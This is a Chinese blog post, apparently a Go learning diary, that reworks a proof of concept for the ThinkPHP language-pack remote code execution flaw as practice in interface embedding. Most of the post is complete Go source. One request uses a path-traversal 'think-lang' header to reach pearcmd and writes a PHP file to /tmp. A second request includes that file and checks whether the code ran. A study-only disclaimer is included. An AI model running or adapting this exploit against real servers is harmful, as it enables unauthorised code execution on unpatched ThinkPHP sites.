刚学习了go的接口嵌套的写法,练习将之前写的脚本(编写学习日记:Go(4))中单个thinkphp_lang_rce漏洞poc(单个url)进行了改进(单纯为了练手)
注意:本文内容仅供学习交流,禁止用于其他用途,学习后请及时删除,禁止任何公司或个人发布与传播
结构:
main.go
package main
import (
"flag"
"thinkphp-change/partfirst"
"thinkphp-change/partsecond"
)
var (
url string
)
func init() {
flag.StringVar(&url, "u", "", "Enter the url")
}
type Checkname struct {
url string
}
type Usercheck interface {
Getpoc(url string) int
}
type Checkone interface {
check(url string)
}
type Checkall interface {
Usercheck
Checkone
}
func (r Checkname) check1() int {
flag.Parse()
codePart := partfirst.Checkname{}
code := codePart.Getpoc(url)
return code
}
func (r Checkname) check2() {
flag.Parse()
checkpart := partsecond.Checkname{}
checkpart.Check(url)
}
func main() {
flag.Parse()
var r Checkname
code := r.check1()
if code == 200 {
r.check2()
}
}
partfirst.go
package partfirst
import (
"fmt"
"net/http"
"strings"
)
type Checkname struct {
url string
}
func (r Checkname) Getpoc(url string) int {
data := ""
url_poc := url + "?+config-create+/<?=phpinfo()?>+/tmp/test.php"
req, err := http.NewRequest("GET", url_poc, strings.NewReader(data))
if err != nil {
fmt.Println(err)
}
req.Header.Add("think-lang", "../../../../../../../../usr/local/lib/php/pearcmd")
req.Header.Add("Cookie", "think_lang=zh-cn")
rep, err := http.DefaultClient.Do(req)
if err != nil {
fmt.Println(err)
}
defer rep.Body.Close()
return rep.StatusCode
}
partsecond.go
package partsecond
import (
"fmt"
"io/ioutil"
"net/http"
"strings"
)
type Checkname struct {
url string
}
func (r Checkname) Check(url string) {
url_poc1 := url //+ "/index.php"
data1 := ""
req1, err := http.NewRequest("GET", url_poc1, strings.NewReader(data1))
if err != nil {
fmt.Println(err)
}
req1.Header.Add("think-lang", "../../../../../../../../tmp/test")
rep1, err := http.DefaultClient.Do(req1)
if err != nil {
fmt.Println(err)
}
defer rep1.Body.Close()
rep1body, err := ioutil.ReadAll(rep1.Body)
if err != nil {
fmt.Println(err)
}
rep1bodys := string(rep1body)
if strings.Contains(rep1bodys, "Version") && strings.Contains(rep1bodys, "PHP") {
fmt.Println("True")
}
}
效果: